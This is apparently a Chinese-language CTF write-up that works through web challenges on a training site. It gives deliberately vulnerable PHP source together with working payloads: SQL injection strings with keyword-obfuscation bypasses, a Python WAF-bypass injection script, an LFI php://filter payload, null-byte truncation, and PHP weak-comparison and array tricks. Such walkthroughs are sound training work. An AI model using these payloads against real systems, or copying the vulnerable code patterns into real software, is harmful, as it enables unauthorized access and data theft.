[关闭]
@shaobaobaoer 2018-04-07T01:27:23.000000Z 字数 13062 阅读 2384

whalectf隐藏的web题们

ctf


原来塔主不止藏了一道web题啊?
嘿嘿,路径泄露?

参考资料
PHP隐式转换

web6

http://daka.whaledu.com/web/web6/

  1. <?php
  2. include('config.php');
  3. if(empty($_GET['md5'])) die(show_source(__FILE__));
  4. if($_GET['md5']!='240610708' && md5($_GET['md5']) == md5('240610708')) echo $flag;
  5. ?>

这是一个比较经典的话题,因为

  1. var_dump(md5('240610708') == md5('QNKCDZO'));
  2. bool(true)

https://stackoverflow.com/questions/22140204/why-md5240610708-is-equal-to-md5qnkcdzo
md5('240610708') 's result is 0e462097431906509019562988736854.
md5('QNKCDZO') 's result is 0e830400451993494058024219903391.

They are both float number format strings (numerical strings), and if you use == in php, when compare a number with a string or the comparison involves numerical strings, then each string is converted to a number and the comparison performed numerically.
Both of the strings are converted to 0 when compared with ==, if you want to compare them as string, remember to use ===(strict comparison) instead.

对于0e开头的php会将其转移为0,如果要避免的话,需要用===(php字符串比较—)

web7

http://daka.whaledu.com/web/web7/

tips:
这是一个php自定义加密函数.
flag的密文:=pJovuTsWOUrtIJZtcKZ2OJMzEJZyMTLdIas,请解密!

  1. function encode($str){
  2. $_o = strrev($str); //倒过来
  3. for($_0=0;$_0<strlen($_o);$_0++){
  4. $_c = substr($_o,$_0,1);
  5. $__ = ord($_c)+1;
  6. $_c = chr($__);
  7. $_= $_.$_c;
  8. }
  9. return str_rot13(strrev(base64_encode($_)));
  10. }

为啥这个题目有点眼熟?好像是实验吧的题目

解密脚本

  1. functiondecode($str){
  2. $_ =base64_decode(strrev(str_rot13($str)));
  3. for($_0=0;$_0<strlen($_);$_0++){
  4. $_c= substr($_,$_0,1);
  5. $__= ord($_c)-1;
  6. $_c= chr($__);
  7. $_o= $_o.$_c;
  8. }
  9. returnstrrev($_o);
  10. }

web8

http://daka.whaledu.com/web/web8/

这是一道考js的题目
查看源代码,发现有个js叫做check.js。
利用webstorm去掉eval后稍微整理一下乱七八糟的代码
web8.png-40.6kB
拿去运行一下,又是一堆乱七八糟的代码,看到unescape,拿去编码转换一下。勉强可读了。

  1. var strKey1 = "JaVa3C41ptIsAGo0DStAff";
  2. var strKey2 = "CaNUknOWThIsK3y";
  3. var strKey3 = String.fromCharCode(71, 48, 111, 100, 33);
  4. if (uname == (strKey3 + (((strKey1.toLowerCase()).substring(0, strKey1.indexOf("0")) + strKey2.substring(2, 6)).toUpperCase()).substring(0, 15))) {
  5. var strKey4 = 'Java_Scr1pt_Pa4sW0rd_K3y_H3re';
  6. if (upass == (strKey4.substring(strKey4.indexOf('1', 5), strKey4.length - strKey4.indexOf('_') + 5))) {
  7. alert('Login Success!');
  8. document.getElementById('key').innerHTML = unescape("%3Cfont%20color%3D%22%23000%22%3Ea2V5X0NoM2NrXy50eHQ=%3C/font%3E");
  9. } else {
  10. alert('Password Error!');
  11. }
  12. } else {
  13. alert('Login Failed!');
  14. }

看到了很有用的东西,解开得到

打开php发现username error
试了试username不对,id也不对,uname对了,这边有点小脑洞。然后把之前的密码和用户名传上去。得到flag
http://daka.whaledu.com/web/web8/Ch3ck_Au7h.php?uname=G0od!JAVA3C41PTISAGO&&upass=1pt_Pa4sW0rd_K3y_H3re

WEB9 通过社工获取良辰的密码

http://daka.whaledu.com/web/web9/

说实话社工的题不太会做,这边应该要生成一个字典跑一下
尝试到payload Liangchen09231995
然后跳出了个良辰的手机号码?
什么意思?似乎不是flag吧

WEB10 这里什么都没有~

http://daka.whaledu.com/web/web10/

啥事LFI呢?
http://blog.csdn.net/ncafei/article/details/62085462
http://wps2015.org/drops/drops/PHP%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93.html

构造payload

  1. php://filter/read=convert.base64-encode/resource=index.php

WEB11 重置密码

http://daka.whaledu.com/web/web11/

没看懂,需要点提示才行。
后来去看了看原题,原来是swp文件漏洞。知道这个就足够了

WEB12 login as admin

http://daka.whaledu.com/web/web12/

WEB13 请上传文件

http://daka.whaledu.com/web/web13/index.php

这里说下思路,bp太快被宕了。
就是竞争上传和文件截断。
怪不得塔主不开放这道题目

WEB14

http://daka.whaledu.com/web/web14/index.php

做的很爽的一道题目

有个隐藏的参数,是过滤的字符,如果不填的话就全部过滤。当然它本身也是有waf的机制在里面的。所以需要一些绕过,可以看下我下面的脚本。

admin%25%27univvon+sevvlect table_name,2 from information_schema.tables where table_schema=database() limit 1,1#

admin%27univvon+sevvlect column_name,2 from information_schema.columns where table_name=%27[fl4g]%27 limit 1,1#"

admin%27univvon+sevvlect flag,2 from [fl4g] limit 1,1 #

脚本

  1. #coding=utf-8
  2. from selenium import webdriver
  3. import requests
  4. from time import sleep
  5. payload={
  6. "username":"admin",
  7. "filtername":"vv",
  8. "Submit":"%E6%8F%90%E4%BA%A4"
  9. }
  10. url="http://daka.whaledu.com/web/web14/#"
  11. "admin%25%27univvon+sevvlect+DAvvtavvbavvse(),2#"
  12. def maker(string):
  13. if "union" in string:
  14. string=string.replace("union","univvon")
  15. if "select" in string:
  16. string=string.replace("select","sevvlect")
  17. if "database()" in string:
  18. string=string.replace("database()","DAvvtavvbavvse()")
  19. if "information" in string:
  20. string=string.replace("information","InvvFovvrvvMavvtion")
  21. if "column" in string:
  22. string=string.replace("column","covvLuvvmn")
  23. return string.replace(" ","+")
  24. def illeal_char():
  25. for i in range(33, 128):
  26. s = requests.Session()
  27. payload["username"] = input(">username=")
  28. payload["username"]= maker(payload["username"])
  29. z = s.post(url, payload)
  30. # print(z.text)
  31. if ("I Found you Hacker!" in str(z.content)):
  32. print("[*] illegal char ---- ")
  33. continue
  34. else:
  35. print(z.text)
  36. s.close()
  37. sleep(1)
  38. if __name__ == '__main__':
  39. illeal_char()

WEB15

http://daka.whaledu.com/web/web15/

哇塞厉害了
真实漏洞靶场?
暂时没有思路

WEB16

http://daka.whaledu.com/web/web16/

  1. <?php
  2. error_reporting(0);
  3. $flag = '********';
  4. if (isset($_GET['name']) and isset($_GET['password'])){
  5. if ($_GET['name'] == $_GET['password'])
  6. print 'name and password must be diffirent';
  7. else if (sha1($_GET['name']) === sha1($_GET['password']))
  8. die($flag);
  9. else print 'invalid password';
  10. }
  11. ?>

老题目了,php默认sha1不能传入数组,不然返回的是false 。false=false直接就过了,md5也是这样的。

WEB17

http://daka.whaledu.com/web/web17/

进入提示index.phps

  1. <?php
  2. error_reporting(0);
  3. $flag = '*******';
  4. if (isset($_GET['password'])) {
  5. if (strcmp($_GET['password'], $flag) == 0)
  6. die($flag);
  7. else
  8. print 'Invalid password';
  9. }
  10. ?>

strcmp函数的漏洞,也是比较老的话题了,和上面那道题目一样,传输数组进去就行

WEB18

http://daka.whaledu.com/web/web18/

  1. <?php
  2. $flag = '********';
  3. if (isset($_GET['password'])) {
  4. if (is_numeric($_GET['password'])){
  5. if (strlen($_GET['password']) < 4){
  6. if ($_GET['password'] > 999)
  7. die($flag);
  8. else
  9. print '<p class="alert">Too little</p>';
  10. } else
  11. print '<p class="alert">Too long</p>';
  12. } else
  13. print '<p class="alert">Password is not numeric</p>';
  14. }
  15. ?>

要求password的长度小于四,值大于999,传入科学计数法的浮点数就可以了

WEB19

http://daka.whaledu.com/web/web19/

进入之后看到了三个数字,是三个随机生成的数字

  1. <?php
  2. session_start();
  3. $flag = '********';
  4. if (isset ($_GET['password'])) {
  5. if ($_GET['password'] == $_SESSION['password'])
  6. die ('Flag: '.$flag);
  7. else
  8. print '<p class="alert">Wrong guess.</p>';
  9. }
  10. // Unpredictable seed
  11. mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
  12. ?>
  13. <section class="login">
  14. <div class="title">
  15. <a href="./index.phps">View Source
  16. </div>
  17. <ul class="list">
  18. <?php
  19. for ($i=0; $i<3; $i++)
  20. print '<li>' . mt_rand (0, 0xffffff) . '</li>';
  21. $_SESSION['password'] = mt_rand (0, 0xffffff);
  22. ?>

这里的验证条件是$_GET['password'] == $_SESSION['password']
让password和session之间没有任何关系,但是我们可以改啊?把password和session删了就行

WEB20

http://daka.whaledu.com/web/web20/

  1. <?php
  2. $flag = '*********';
  3. if (isset ($_GET['password'])) {
  4. if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
  5. echo '<p class="alert">You password must be alphanumeric</p>';
  6. else if (strpos ($_GET['password'], '--') !== FALSE)
  7. die($flag);
  8. else
  9. echo '<p class="alert">Invalid password</p>';
  10. }
  11. ?>
  12. <section class="login">
  13. <div class="title">
  14. <a href="./index.phps">View Source</a>
  15. </div>
  16. <form method="POST">
  17. <input type="text" required name="password" placeholder="Password" /><br/>
  18. <input type="submit"/>
  19. </form>
  20. </section>
  21. </body>
  22. </html>

reg %00 截断的问题。
构造payload=1%00%A0-- 即可

WEB21

http://daka.whaledu.com/web/web21/

  1. grep_match('/^[[:graph:]]{12,}$/')

加号需要对url编码才能不被过滤掉
{12,}匹配12次的可打印字符

  1. grep_match('/[[:punct:]]+|[[:digit:]]/')

匹配大小写字母,数字一次

  1. <?php
  2. echo "waht the hell?";
  3. $flag = "*******";
  4. if ("POST" == $_SERVER['REQUEST_METHOD'])
  5. {
  6. $password = $_POST['password'];
  7. if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) // 匹配了12次也就是说字符串的长度需要超过12
  8. {
  9. echo 'Wrong Format';
  10. exit;
  11. }
  12. while (TRUE)
  13. {
  14. $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
  15. if (6 > preg_match_all($reg, $password, $arr))
  16. //匹配的中,大小写字母或数字或标点的至少有一个要超过6个
  17. break;
  18. $c = 0;
  19. $ps = array('punct', 'digit', 'upper', 'lower');
  20. foreach ($ps as $pt)
  21. {
  22. if (preg_match("/[[:$pt:]]+/", $password))
  23. $c += 1;
  24. }
  25. if ($c < 3) break; //array中的四种东西必须全要有
  26. if ("42" == $password) echo $flag;
  27. //password要等于42,这里是弱匹配,所以浮点数和16进制都是可以的,但16进制太短了
  28. else echo 'Wrong password';
  29. exit;
  30. }
  31. }
  32. ?>

最终payload: password= 42.000000e-0

WEB22

http://daka.whaledu.com/web/web22/

  1. <?php
  2. $flag = "*******";
  3. if (0 == strcasecmp($flag, $_GET['key'])) {
  4. echo $flag;
  5. }
  6. else {
  7. echo "Try again";
  8. }
  9. ?>

扫描文件备份,还是~
同样是构造数组即可

WEB23

http://daka.whaledu.com/web/web23/

查看源码抓包都没有什么信息。
然后那万能密码登录一下
username=1%27+or+1%3D1+%23&password=1
结果就。出flag了 (这也太水了吧)

WEB24

http://daka.whaledu.com/web/web24/

随手输入一个万能秘钥,结果报错了、发现or 被过滤掉了,那么我就用 || 咯
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1=1 #' and password='1'' at line 1
把上面的payload 的 or 改成 || 就行

WEB25

http://daka.whaledu.com/web/web25/

咋和24一样啊。。。

WEB26

http://daka.whaledu.com/web/web26/

是不是在图像里面有玄机呢?

WEB27

http://daka.whaledu.com/web/web27/

是不是在图像里面有玄机呢?

WEB28

http://daka.whaledu.com/web/web28/

进去访问 显示:
Forbidden
You don't have permission to access /web/web28/ on this server.

咋没啥提示啊,比如说用ie啊什么的,可能要什么插件吧,没有hint不太好做呢

WEB29

http://daka.whaledu.com/web/web29/

WEB30

http://daka.whaledu.com/web/web30/

卡了一会儿,现在会了
抓到了个cookie,是 MjY5OTowNDE1NzQwZWFhNGQ5ZGVjYmM4ZGEwMDFkM2ZkODA1Zg%3D%3D
一看就是b64 解密得到
2699:0415740eaa4d9decbc8da001d3fd805f
它说是要 1234567890th 访客
将2699改成 1234567890 再次访问,结果说有个弹窗
秘密就在后面,后面是2699的md5加密
所以我们需要改成1234567890的md5加密
再次修改即可

WEB31

http://daka.whaledu.com/web/web31/

  1. not allowed!
  2. "); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "hacker") { echo "
  3. Access granted!
  4. "; echo "
  5. flag{******}
  6. "; } ?>
  7. Can you authenticate to this website?

莫名其妙 把hacker urlencode就行了

WEB32

http://daka.whaledu.com/web/web32/

  1. <?php
  2. if($_POST[user] && $_POST[pass]) {
  3. mysql_connect("localhost","web32","xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx");
  4. mysql_select_db("web32");
  5. $user = $_POST[user];
  6. $pass = md5($_POST[pass], True);
  7. $query = @mysql_fetch_array(mysql_query("select user from users where (user='$user') and (pw='$pass')"));
  8. if($query[user]=="admin") {
  9. echo "<p>Logged in! flag{***********} </p>";
  10. }
  11. if($query[user] != "admin") {
  12. echo("<p>You are not admin!</p>");
  13. }
  14. }
  15. ?>


很简单的绕过 admin') or 1=1 #

WEB33

http://daka.whaledu.com/web/web33/

  1. <?php
  2. if($_POST[user] && $_POST[pass]) {
  3. mysql_connect("localhost","web33","xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx");
  4. mysql_select_db("web33");
  5. $user = $_POST[user];
  6. $pass = md5($_POST[pass]);
  7. $query = @mysql_fetch_array(mysql_query("select pw from users where user='$user'"));
  8. if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
  9. echo "<p>Logged in! flag{xxxxxxxxxxxxxxxx} </p>";
  10. }
  11. else {
  12. echo("<p>Log in failure!</p>");
  13. }
  14. }
  15. ?>

WEB34

http://daka.whaledu.com/web/web34/

  1. <?php
  2. $flag ='**********';
  3. if(isset ($_GET['venvs'])){
  4. if (@ereg ("^[1-9]+$", $_GET['venvs']) === FALSE)
  5. echo '必须输入数字才行';
  6. else if (strpos ($_GET['venvs'], '#VvenusVenusVenvs') !== FALSE)
  7. die('Flag: '.$flag);
  8. else
  9. echo '小样,继续探索吧,啊哈哈哈~';
  10. }
  11. ?>

和之前的方法一样 不过这里传数组更加方便一些

WEB35

http://daka.whaledu.com/web/web35/

  1. <?php
  2. class just4fun {
  3. var $enter;
  4. var $secret;
  5. }
  6. if (isset($_GET['pass'])) {
  7. $pass = $_GET['pass'];
  8. if(get_magic_quotes_gpc()){
  9. $pass=stripslashes($pass);
  10. }
  11. $v = unserialize($pass);
  12. if ($v) {
  13. $v->secret = "*";
  14. if ($v->secret === $v->enter)
  15. echo "Congratulation! Here is my secret: ".$v->secret;
  16. else
  17. echo "Oh no... You can't fool me";
  18. }
  19. else echo "are you OK!";
  20. }
  21. ?>

WEB36

http://daka.whaledu.com/web/web36/

用bp改dir 的地方
QQ截图20180303234705.png-8.4kB
web8 和php之间用%00截断即可
南邮的题目,老题目了。

WEB37

http://daka.whaledu.com/web/web37/

  1. <script type="text/javascript">
  2. window.orialert=alert;
  3. window.alert=function(msg){
  4. checkmsg(msg);
  5. }
  6. function checkmsg(msg){
  7. orialert(msg);
  8. var url="flag.php?msg="+encodeURIComponent(""+msg);
  9. var obj=document.createElement("script");
  10. obj.src=url;
  11. obj.type="text/javascript";
  12. document.body.appendChild(obj);
  13. }
  14. </script>

WEB38

http://daka.whaledu.com/web/web38/

不明觉厉,这题目蛮简单的

web39

http://daka.whaledu.com/web/web39/

变量覆盖

  1. <?php
  2. extract($_GET);
  3. if(!empty($vs)){
  4. $Ff = trim(file_get_contents($fF));
  5. if($vs!=$Ff){
  6. if(md5($vs) == md5($Ff)){
  7. echo "<p>This is flag:".$flag."</p>";
  8. }
  9. else{
  10. "<p>Variable extract!</>";
  11. }
  12. }
  13. else{
  14. echo "<p>Hacker!</p>";
  15. }
  16. }
  17. ?>

问题函数 extract

注意函数file_get_content
vs是文件名。利用php协议传输
将vs赋值为 md5 0e开头的
fF=php://input ,并用post方法提交另外一个的0e md5

关于file_get_contents()

  1. <form action="" method="POST">
  2. name: <input type="text" name="name" value="tom" /><br />
  3. age:<input type="text" name="age" value="22" /><br />
  4. <input type="submit" value="Submit" />
  5. </form>
  6. <?php
  7. /**
  8. * Created by PhpStorm.
  9. * User: ninthDVEIL HUNSTER
  10. * Date: 2018/2/14
  11. * Time: 21:11
  12. */
  13. $homepage = file_get_contents("php://input");
  14. echo $homepage;
  15. ?>

file_get_contents 和php://input的一波配合,可以把post的数据给输出出来。
QQ截图20180305122259.png-4.6kB

WEB41

  1. $key = 'venusctf{*********************}';
  2. $IsMatch = preg_match("/key.*KEY.{4,10}key:\/.\/(.*key)[a-z][[:punct:]]/i",trim($_GET["id"]),$match);
  3. if($IsMatch){
  4. highlight_file('2.php');
  5. die('key'.$key);

http://daka.whaledu.com/web/web41/?id=key123key12345key:/a/aakeya;

WEB42

http://daka.whaledu.com/web/web44/

图片隐写
可能还没出好

WEB43

http://daka.whaledu.com/web/web43/

塔主好像还没把图片放进去

WEB44

http://daka.whaledu.com/web/web44/

哈希长度扩展攻击,自己做了好久,看了好久笔记
明天听塔主讲吧

WEB45

view-source:http://daka.whaledu.com/web/web45/

  1. if( isset($_GET['Username']) && isset($_GET['password'])){
  2. $logined = true;
  3. $Username = $_GET['Username'];
  4. $password = $_GET['password'];
  5. if(!ctype_alpha($Username)){$logined = false;}
  6. if(!is_numeric($password)) {$logined = false;}
  7. if(md5($Username) != md5($password)) {$logined = flase;}
  8. if(logined){
  9. echo "Successful !"."<br>";
  10. }else{
  11. echo "login failed !"."<br>";
  12. }
  13. }
  14. if(isset($_POST['message'])){
  15. $message = json_decode($_POST['message']);
  16. $key = "********************";
  17. if($message->key == $key){
  18. echo $key;
  19. }else{
  20. echo "no flag !"."<br>";
  21. }
  22. }else{
  23. echo "浣� 璺� 鍋� 鍟� 锛�";
  24. }

md5('240610708') 's result is 0e462097431906509019562988736854.
md5('QNKCDZO') 's result is 0e830400451993494058024219903391.
登录一下,发现不太对,更改message为post : message={"key":0} php弱比较

WEB47

http://daka.whaledu.com/web/web47/index.php

给你一个sha1值,它是0-100000之间的整数的md5值再求取sha1值,请在2秒内提交该整数值
请在2秒内提交该整数:
9ec6f9b428237082a103fba7f2b020a683e0ca0a
爆破即可

KEY{J2sa42ahJK-HS11III}

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注